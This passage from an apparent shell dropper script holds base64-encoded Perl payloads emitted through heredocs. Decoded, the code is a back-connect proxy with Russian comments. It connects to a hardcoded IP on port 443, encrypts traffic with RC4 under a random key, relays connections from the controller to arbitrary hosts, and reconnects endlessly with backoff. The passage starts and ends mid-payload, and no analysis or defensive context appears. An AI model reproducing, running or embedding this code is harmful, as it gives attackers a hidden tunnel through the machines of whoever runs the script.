MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_14() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzInOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
